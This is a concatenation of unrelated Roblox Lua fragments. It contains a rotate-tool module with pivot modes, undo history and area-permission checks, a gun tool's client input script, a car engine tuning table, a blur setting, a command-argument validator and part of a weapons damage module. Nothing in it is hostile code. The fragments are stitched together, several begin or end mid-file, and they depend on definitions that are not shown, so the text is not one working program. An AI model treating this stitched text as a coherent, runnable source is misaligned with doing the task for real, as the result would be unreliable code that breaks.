local Connections = {}; function RotateTool.Equip() -- Enables the tool's equipped functionality -- Set our current pivot mode SetPivot(RotateTool.Pivot); -- Start up our interface ShowUI(); BindShortcutKeys(); end; function RotateTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); HideHandles(); ClearConnections(); BoundingBox.ClearBoundingBox(); SnapTracking.StopTracking(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ClearConnection(ConnectionKey) -- Clears the given specific connection local Connection = Connections[ConnectionKey]; -- Disconnect the connection if it exists if Connections[ConnectionKey] then Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if RotateTool.UI then -- Reveal the UI RotateTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI RotateTool.UI = Core.Tool.Interfaces.BTRotateToolGUI:Clone(); RotateTool.UI.Parent = Core.UI; RotateTool.UI.Visible = true; -- Add functionality to the pivot option switch local PivotSwitch = RotateTool.UI.PivotOption; PivotSwitch.Center.Button.MouseButton1Down:Connect(function () SetPivot('Center'); end); PivotSwitch.Local.Button.MouseButton1Down:Connect(function () SetPivot('Local'); end); PivotSwitch.Last.Button.MouseButton1Down:Connect(function () SetPivot('Last'); end); -- Add functionality to the increment input local IncrementInput = RotateTool.UI.IncrementOption.Increment.TextBox; IncrementInput.FocusLost:Connect(function (EnterPressed) RotateTool.Increment = tonumber(IncrementInput.Text) or RotateTool.Increment; IncrementInput.Text = Support.Round(RotateTool.Increment, 4); end); -- Add functionality to the rotation inputs local XInput = RotateTool.UI.Info.RotationInfo.X.TextBox; local YInput = RotateTool.UI.Info.RotationInfo.Y.TextBox; local ZInput = RotateTool.UI.Info.RotationInfo.Z.TextBox; XInput.FocusLost:Connect(function (EnterPressed) local NewAngle = tonumber(XInput.Text); if NewAngle then SetAxisAngle('X', NewAngle); end; end); YInput.FocusLost:Connect(function (EnterPressed) local NewAngle = tonumber(YInput.Text); if NewAngle then SetAxisAngle('Y', NewAngle); end; end); ZInput.FocusLost:Connect(function (EnterPressed) local NewAngle = tonumber(ZInput.Text); if NewAngle then SetAxisAngle('Z', NewAngle); end; end); -- Hook up manual triggering local SignatureButton = RotateTool.UI:WaitForChild('Title'):WaitForChild('Signature') ListenForManualWindowTrigger(RotateTool.ManualText, RotateTool.Color.Color, SignatureButton) -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not RotateTool.UI then return; end; -- Hide the UI RotateTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not RotateTool.UI then return; end; -- Only show and calculate selection info if it's not empty if #Selection.Parts == 0 then RotateTool.UI.Info.Visible = false; RotateTool.UI.Size = UDim2.new(0, 245, 0, 90); return; else RotateTool.UI.Info.Visible = true; RotateTool.UI.Size = UDim2.new(0, 245, 0, 150); end; ----------------------------------------- -- Update the size information indicators ----------------------------------------- -- Identify common angles across axes local XVariations, YVariations, ZVariations = {}, {}, {}; for _, Part in pairs(Selection.Parts) do table.insert(XVariations, Support.Round(Part.Orientation.X, 3)); table.insert(YVariations, Support.Round(Part.Orientation.Y, 3)); table.insert(ZVariations, Support.Round(Part.Orientation.Z, 3)); end; local CommonX = Support.IdentifyCommonItem(XVariations); local CommonY = Support.IdentifyCommonItem(YVariations); local CommonZ = Support.IdentifyCommonItem(ZVariations); -- Shortcuts to indicators local XIndicator = RotateTool.UI.Info.RotationInfo.X.TextBox; local YIndicator = RotateTool.UI.Info.RotationInfo.Y.TextBox; local ZIndicator = RotateTool.UI.Info.RotationInfo.Z.TextBox; -- Update each indicator if it's not currently being edited if not XIndicator:IsFocused() then XIndicator.Text = CommonX or '*'; end; if not YIndicator:IsFocused() then YIndicator.Text = CommonY or '*'; end; if not ZIndicator:IsFocused() then ZIndicator.Text = CommonZ or '*'; end; end; function SetPivot(PivotMode) -- Sets the given rotation pivot mode -- Update setting RotateTool.Pivot = PivotMode; -- Update the UI switch if RotateTool.UI then Core.ToggleSwitch(PivotMode, RotateTool.UI.PivotOption); end; -- Disable any unnecessary bounding boxes BoundingBox.ClearBoundingBox(); -- For center mode, use bounding box handles if PivotMode == 'Center' then BoundingBox.StartBoundingBox(AttachHandles); -- For local mode, use focused part handles elseif PivotMode == 'Local' then AttachHandles(Selection.Focus, true); -- For last mode, use focused part handles elseif PivotMode == 'Last' then AttachHandles(CustomPivotPoint and (RotateTool.Handles and RotateTool.Handles.Adornee) or Selection.Focus, true); end; end; function AttachHandles(Part, Autofocus) -- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part -- Enable autofocus if requested and not already on if Autofocus and not Connections.AutofocusHandle then Connections.AutofocusHandle = Selection.FocusChanged:Connect(function () AttachHandles(Selection.Focus, true); end); -- Disable autofocus if not requested and on elseif not Autofocus and Connections.AutofocusHandle then ClearConnection 'AutofocusHandle'; end; -- Clear previous pivot point CustomPivotPoint = nil -- Just attach and show the handles if they already exist if RotateTool.Handles then RotateTool.Handles:BlacklistObstacle(BoundingBox.GetBoundingBox()) RotateTool.Handles:SetAdornee(Part) return end local AreaPermissions local function OnHandleDragStart() -- Prepare for rotating parts when the handle is clicked -- Prevent selection Core.Targeting.CancelSelecting(); -- Indicate rotating via handle HandleRotating = true; -- Freeze bounding box extents while rotating if BoundingBox.GetBoundingBox() then InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Selection.Parts, BoundingBox.StaticExtents) BoundingBox.PauseMonitoring(); end; -- Stop parts from moving, and capture the initial state of the parts InitialPartStates, InitialModelStates = PrepareSelectionForRotating() -- Track the change TrackChange(); -- Cache area permissions information if Core.Mode == 'Tool' then AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); end; -- Set the pivot point to the center of the selection if in Center mode if RotateTool.Pivot == 'Center' then PivotPoint = BoundingBox.GetBoundingBox().CFrame; -- Set the pivot point to the center of the focused part if in Last mode elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then if Selection.Focus:IsA 'BasePart' then PivotPoint = Selection.Focus.CFrame elseif Selection.Focus:IsA 'Model' then PivotPoint = Selection.Focus:GetModelCFrame() pcall(function () PivotPoint = Selection.Focus:GetPivot() end) end end; end local function OnHandleDrag(Axis, Rotation) -- Update parts when the handles are moved -- Only rotate if handle is enabled if not HandleRotating then return; end; -- Turn the rotation amount into degrees Rotation = math.deg(Rotation); -- Calculate the increment-aligned rotation amount Rotation = GetIncrementMultiple(Rotation, RotateTool.Increment) % 360; -- Get displayable rotation delta local DisplayedRotation = GetHandleDisplayDelta(Rotation); -- Perform the rotation RotateSelectionAroundPivot(RotateTool.Pivot, PivotPoint, Axis, Rotation, InitialPartStates, InitialModelStates) -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialPartStates) do Part.CFrame = State.CFrame; end; for Model, State in pairs(InitialModelStates) do Model.WorldPivot = State.Pivot end -- Reset displayed rotation delta DisplayedRotation = 0; end; -- Update the "degrees rotated" indicator if RotateTool.UI then RotateTool.UI.Changes.Text.Text = 'rotated ' .. DisplayedRotation .. ' degrees'; end; end local function OnHandleDragEnd() if not HandleRotating then return end -- Prevent selection Core.Targeting.CancelSelecting(); -- Disable rotating HandleRotating = false; -- Clear this connection to prevent it from firing again ClearConnection 'HandleRelease'; -- Clear change indicator states HandleDirection = nil; HandleFirstAngle = nil; LastDisplayedRotation = nil; -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialPartStates) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); -- Resume normal bounding box updating BoundingBox.RecalculateStaticExtents(); BoundingBox.ResumeMonitoring(); end -- Create the handles local ArcHandles = require(Libraries:WaitForChild 'ArcHandles') RotateTool.Handles = ArcHandles.new({ Color = RotateTool.Color.Color, Parent = Core.UIContainer, Adornee = Part, ObstacleBlacklist = { BoundingBox.GetBoundingBox() }, OnDragStart = OnHandleDragStart, OnDrag = OnHandleDrag, OnDragEnd = OnHandleDragEnd }) end function HideHandles() -- Hides the resizing handles -- Make sure handles exist and are visible if not RotateTool.Handles then return; end; -- Hide the handles RotateTool.Handles = RotateTool.Handles:Destroy() -- Disable handle autofocus if enabled ClearConnection 'AutofocusHandle'; end; function RotateSelectionAroundPivot(PivotMode, PivotPoint, Axis, Rotation, InitialPartStates, InitialModelStates) -- Rotates the given selection around `PivotMode` (using `PivotPoint` if applicable)'s `Axis` by `Rotation` -- Create a CFrame that increments rotation by `Rotation` around `Axis` local RotationCFrame = CFrame.fromAxisAngle(Vector3.FromAxis(Axis), math.rad(Rotation)); -- Rotate each part for Part, InitialState in pairs(InitialPartStates) do -- Rotate around the selection's center, or the currently focused part if PivotMode == 'Center' or PivotMode == 'Last' then -- Calculate the focused part's rotation local RelativeTo = PivotPoint * RotationCFrame; -- Calculate this part's offset from the focused part's rotation local Offset = PivotPoint:toObjectSpace(InitialState.CFrame); -- Rotate relative to the focused part by this part's offset from it Part.CFrame = RelativeTo * Offset; -- Rotate around the part's center elseif RotateTool.Pivot == 'Local' then Part.CFrame = InitialState.CFrame * RotationCFrame; end; end; -- Rotate each model's pivot for Model, InitialState in pairs(InitialModelStates) do -- Rotate around the selection's center, or the currently focused part if (PivotMode == 'Center') or (PivotMode == 'Last') then -- Calculate the focused part's rotation local RelativeTo = PivotPoint * RotationCFrame -- Calculate this part's offset from the focused part's rotation local Offset = PivotPoint:ToObjectSpace(InitialState.Pivot) -- Rotate relative to the focused part by this model's offset from it Model.WorldPivot = RelativeTo * Offset end end end; function GetHandleDisplayDelta(HandleRotation) -- Returns a human-friendly version of the handle's rotation delta -- Prepare to capture first angle if HandleFirstAngle == nil then HandleFirstAngle = true; HandleDirection = true; -- Capture first angle elseif HandleFirstAngle == true then -- Determine direction based on first angle if math.abs(HandleRotation) > 180 then HandleDirection = false; else HandleDirection = true; end; -- Disable first angle capturing HandleFirstAngle = false; end; -- Determine the rotation delta to display local DisplayedRotation; if HandleDirection == true then DisplayedRotation = (360 - HandleRotation) % 360; else DisplayedRotation = HandleRotation % 360; end; -- Switch delta calculation direction if crossing directions if LastDisplayedRotation and ( (LastDisplayedRotation <= 120 and DisplayedRotation >= 240) or (LastDisplayedRotation >= 240 and DisplayedRotation <= 120)) then HandleDirection = not HandleDirection; end; -- Update displayed rotation after direction correction if HandleDirection == true then DisplayedRotation = (360 - HandleRotation) % 360; else DisplayedRotation = HandleRotation % 360; end; -- Store this last display rotation LastDisplayedRotation = DisplayedRotation; -- Return updated display delta return DisplayedRotation; end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the current axis mode if RotateTool.Pivot == 'Center' then SetPivot('Local'); elseif RotateTool.Pivot == 'Local' then SetPivot('Last'); elseif RotateTool.Pivot == 'Last' then SetPivot('Center'); end; -- Nudge around X axis if the 8 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then NudgeSelectionByAxis(Enum.Axis.X, 1); -- Nudge around X axis if the 2 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then NudgeSelectionByAxis(Enum.Axis.X, -1); -- Nudge around Z axis if the 9 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then NudgeSelectionByAxis(Enum.Axis.Z, 1); -- Nudge around Z axis if the 1 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then NudgeSelectionByAxis(Enum.Axis.Z, -1); -- Nudge around Y axis if the 4 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then NudgeSelectionByAxis(Enum.Axis.Y, -1); -- Nudge around Y axis if the 6 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then NudgeSelectionByAxis(Enum.Axis.Y, 1); -- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey elseif (InputInfo.KeyCode == Enum.KeyCode.R) and not Selection.Multiselecting then StartSnapping(); -- Start snapping when T key is pressed down (alias) elseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then StartSnapping(); end; end)); -- Track ending user input while this tool is equipped Connections.HotkeyRelease = UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent) if GameProcessedEvent then return end -- Make sure this is input from the keyboard if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return end -- If - key was released, focus on increment input if (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then if RotateTool.UI then RotateTool.UI.IncrementOption.Increment.TextBox:CaptureFocus() end end end) end; function StartSnapping() -- Make sure snapping isn't already enabled if SnapTracking.Enabled then return; end; -- Listen for snapped points SnapTracking.StartTracking(function (NewPoint) SnappedPoint = NewPoint; end); -- Select the snapped pivot point upon clicking Connections.SelectSnappedPivot = Core.Mouse.Button1Down:Connect(function () -- Disable unintentional selection Core.Targeting.CancelSelecting(); -- Ensure there is a snap point if not SnappedPoint then return; end; -- Disable snapping SnapTracking.StopTracking(); -- Attach the handles to a part at the snapped point local Part = Make 'Part' { CFrame = SnappedPoint, Size = Vector3.new(5, 1, 5) }; SetPivot 'Last'; AttachHandles(Part, true); -- Maintain the part in memory to prevent garbage collection GCBypass = { Part }; -- Set the pivot point PivotPoint = SnappedPoint; CustomPivotPoint = true; -- Disconnect snapped pivot point selection listener ClearConnection 'SelectSnappedPivot'; end); end; function SetAxisAngle(Axis, Angle) -- Sets the selection's angle on axis `Axis` to `Angle` -- Turn the given angle from degrees to radians local Angle = math.rad(Angle); -- Track this change TrackChange(); -- Prepare parts to be moved local InitialPartStates = PrepareSelectionForRotating() -- Update each part for Part, State in pairs(InitialPartStates) do -- Set the part's new CFrame Part.CFrame = CFrame.new(Part.Position) * CFrame.fromOrientation( Axis == 'X' and Angle or math.rad(Part.Orientation.X), Axis == 'Y' and Angle or math.rad(Part.Orientation.Y), Axis == 'Z' and Angle or math.rad(Part.Orientation.Z) ); end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Revert changes if player is not authorized to move parts to target destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialPartStates) do Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialPartStates) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function NudgeSelectionByAxis(Axis, Direction) -- Nudges the rotation of the selection in the direction of the given axis -- Ensure selection is not empty if #Selection.Parts == 0 then return; end; -- Get amount to nudge by local NudgeAmount = RotateTool.Increment; -- Reverse nudge amount if shift key is held while nudging local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode')); if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then NudgeAmount = -NudgeAmount; end; -- Track the change TrackChange(); -- Stop parts from moving, and capture the initial state of the parts local InitialPartStates, InitialModelStates = PrepareSelectionForRotating() -- Set the pivot point to the center of the selection if in Center mode if RotateTool.Pivot == 'Center' then local BoundingBoxSize, BoundingBoxCFrame = BoundingBox.CalculateExtents(Selection.Parts); PivotPoint = BoundingBoxCFrame; -- Set the pivot point to the center of the focused part if in Last mode elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then if Selection.Focus:IsA 'BasePart' then PivotPoint = Selection.Focus.CFrame elseif Selection.Focus:IsA 'Model' then PivotPoint = Selection.Focus:GetModelCFrame() pcall(function () PivotPoint = Selection.Focus:GetPivot() end) end end; -- Perform the rotation RotateSelectionAroundPivot(RotateTool.Pivot, PivotPoint, Axis, NudgeAmount * (Direction or 1), InitialPartStates, InitialModelStates) -- Update the "degrees rotated" indicator if RotateTool.UI then RotateTool.UI.Changes.Text.Text = 'rotated ' .. (NudgeAmount * (Direction or 1)) .. ' degrees'; end; -- Cache area permissions information local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialPartStates) do Part.CFrame = State.CFrame; end; for Model, State in pairs(InitialModelStates) do Model.WorldPivot = State.Pivot end end; -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialPartStates) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function TrackChange() -- Start the record HistoryRecord = { Parts = Support.CloneTable(Selection.Parts); Models = Support.CloneTable(Selection.Models); BeforeCFrame = {}; AfterCFrame = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part; CFrame = Record.BeforeCFrame[Part]; }) end; for _, Model in pairs(Record.Models) do table.insert(Changes, { Model = Model; Pivot = Record.BeforeCFrame[Model]; }) end -- Send the change request Core.SyncAPI:Invoke('SyncRotate', Changes); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part; CFrame = Record.AfterCFrame[Part]; }) end; for _, Model in pairs(Record.Models) do table.insert(Changes, { Model = Model; Pivot = Record.AfterCFrame[Model]; }) end -- Send the change request Core.SyncAPI:Invoke('SyncRotate', Changes); end; }; -- Collect the selection's initial state for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.BeforeCFrame[Part] = Part.CFrame; end; pcall(function () for _, Model in pairs(HistoryRecord.Models) do HistoryRecord.BeforeCFrame[Model] = Model:GetPivot() end end) end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Collect the selection's final state local Changes = {}; for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.AfterCFrame[Part] = Part.CFrame; table.insert(Changes, { Part = Part; CFrame = Part.CFrame; }) end; pcall(function () for _, Model in pairs(HistoryRecord.Models) do HistoryRecord.AfterCFrame[Model] = Model:GetPivot() table.insert(Changes, { Model = Model; Pivot = Model:GetPivot(); }) end end) -- Send the change to the server Core.SyncAPI:Invoke('SyncRotate', Changes); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end; function PrepareSelectionForRotating() -- Prepares parts for rotating and returns the initial state of the parts local InitialPartStates = {} local InitialModelStates = {} -- Get index of parts local PartIndex = Support.FlipTable(Selection.Parts); -- Stop parts from moving, and capture the initial state of the parts for _, Part in pairs(Selection.Parts) do InitialPartStates[Part] = { Anchored = Part.Anchored; CanCollide = Part.CanCollide; CFrame = Part.CFrame; } Part.Anchored = true; Part.CanCollide = false; InitialPartStates[Part].Joints = Core.PreserveJoints(Part, PartIndex); Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); end; -- Record model pivots -- (temporarily pcalled due to pivot API being in beta) pcall(function () for _, Model in pairs(Selection.Models) do InitialModelStates[Model] = { Pivot = Model:GetPivot(); } end end) return InitialPartStates, InitialModelStates end; function GetIncrementMultiple(Number, Increment) -- Get how far the actual distance is from a multiple of our increment local MultipleDifference = Number % Increment; -- Identify the closest lower and upper multiples of the increment local LowerMultiple = Number - MultipleDifference; local UpperMultiple = Number - MultipleDifference + Increment; -- Calculate to which of the two multiples we're closer local LowerMultipleProximity = math.abs(Number - LowerMultiple); local UpperMultipleProximity = math.abs(Number - UpperMultiple); -- Use the closest multiple of our increment as the distance moved if LowerMultipleProximity <= UpperMultipleProximity then Number = LowerMultiple; else Number = UpperMultiple; end; return Number; end;
--Edited by QS
local Tool = script.Parent; local torso = nil local human = nil function SetMouseIcon(mouse,bool) if mouse == nil then return end mouse.Icon = bool == true and "rbxasset://textures\\GunCursor.png" or "rbxasset://textures\\GunWaitCursor.png" end function onEquippedLocal(mouse) if mouse == nil then print("Mouse not found") return end torso = Tool.Parent:FindFirstChild("HumanoidRootPart") human = Tool.Parent:FindFirstChild("Humanoid")--getHumanoid(Tool.Parent) if torso == nil or human == nil then return end SetMouseIcon(mouse,Tool.IsEnabled.Value) Tool.IsEnabled.Changed:connect(function(bool) SetMouseIcon(mouse,bool) end) mouse.Icon = "rbxasset://textures\\GunCursor.png" mouse.Button1Down:connect(function() script.Parent.MouseClick:FireServer(mouse.Hit.p) end) mouse.KeyDown:connect(function(key) script.Parent.KeyPress:FireServer(key) end) end Tool.Equipped:connect(onEquippedLocal)
--[[Engine]]
--Torque Curve Tune.Horsepower = 400 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 7200 -- Use sliders to manipulate values Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 350 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--//Settings
BlurAmount = 24 -- Change this to increase or decrease the blur size
--- Validates that the argument will work without any type errors.
function Argument:Validate(isFinal) if self.RawValue == nil or #self.RawValue == 0 and self.Required == false then return true end if self.Type.Validate or self.Type.ValidateOnce then for i = 1, #self.TransformedValues do if self.Type.Validate then local valid, errorText = self.Type.Validate(self:GetTransformedValue(i)) if not valid then return valid, errorText or "Invalid value" end end if isFinal and self.Type.ValidateOnce then local validOnce, errorTextOnce = self.Type.ValidateOnce(self:GetTransformedValue(i)) if not validOnce then return validOnce, errorTextOnce end end end return true else return true end end
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
function WeaponsSystem.onWeaponAdded(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if not weapon then WeaponsSystem.createWeaponForInstance(weaponInstance) end end function WeaponsSystem.onWeaponRemoved(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if weapon then weapon:onDestroyed() end WeaponsSystem.knownWeapons[weaponInstance] = nil end function WeaponsSystem.getRemoteEvent(name) if not WeaponsSystem.networkFolder then return end local remoteEvent = WeaponsSystem.remoteEvents[name] if IsServer then if not remoteEvent then warn("No RemoteEvent named ", name) return nil end return remoteEvent else if not remoteEvent then remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteEvent end end function WeaponsSystem.getRemoteFunction(name) if not WeaponsSystem.networkFolder then return end local remoteFunc = WeaponsSystem.remoteFunctions[name] if IsServer then if not remoteFunc then warn("No RemoteFunction named ", name) return nil end return remoteFunc else if not remoteFunc then remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteFunc end end function WeaponsSystem.setWeaponEquipped(weapon, equipped) assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.") if not weapon then return end local lastWeapon = WeaponsSystem.currentWeapon local hasWeapon = false local weaponChanged = false if lastWeapon == weapon then if not equipped then WeaponsSystem.currentWeapon = nil hasWeapon = false weaponChanged = true else weaponChanged = false end else if equipped then WeaponsSystem.currentWeapon = weapon hasWeapon = true weaponChanged = true end end if WeaponsSystem.camera then WeaponsSystem.camera:resetZoomFactor() WeaponsSystem.camera:setHasScope(false) if WeaponsSystem.currentWeapon then WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1)) WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false)) end end if WeaponsSystem.gui then WeaponsSystem.gui:setEnabled(hasWeapon) WeaponsSystem.camera:setEnabled(hasWeapon) if WeaponsSystem.currentWeapon then WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1)) else WeaponsSystem.gui:setCrosshairWeaponScale(1) end end if weaponChanged then WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance) end end function WeaponsSystem.getHumanoid(part) while part and part ~= workspace do if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then return part:FindFirstChildOfClass("Humanoid") end part = part.Parent end end function WeaponsSystem.getPlayerFromHumanoid(humanoid) for _, player in ipairs(Players:GetPlayers()) do if player.Character and humanoid:IsDescendantOf(player.Character) then return player end end end local function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player game:GetService("Debris"):AddItem(Creator_Tag, 0.3) Creator_Tag.Parent = humanoid end local function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData) if target:IsA("Humanoid") then UntagHumanoid(target) target:TakeDamage(amount) TagHumanoid(target,dealer) end end function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData) if not target or CollectionService:HasTag(target, "WeaponsSystemIgnore") then return end --if IsServer then if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid") local targetPlayer = Players:GetPlayerFromCharacter(target.Parent) if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then -- Trigger the damage indicator WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position) end end -- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause. -- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in) -- ..The default weapons pass in that data local handler = _damageCallback or _defaultDamageCallback handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData) --end end local function _defaultGetTeamCallback(player) return 0 end function WeaponsSystem.getTeam(player) local handler = _getTeamCallback or _defaultGetTeamCallback return handler(player) end function WeaponsSystem.playersOnDifferentTeams(player1, player2) if player1 == player2 or player1 == nil or player2 == nil then -- This allows players to damage themselves and NPC's return true end local player1Team = WeaponsSystem.getTeam(player1) local player2Team = WeaponsSystem.getTeam(player2) return player1Team == 0 or player1Team ~= player2Team end return WeaponsSystem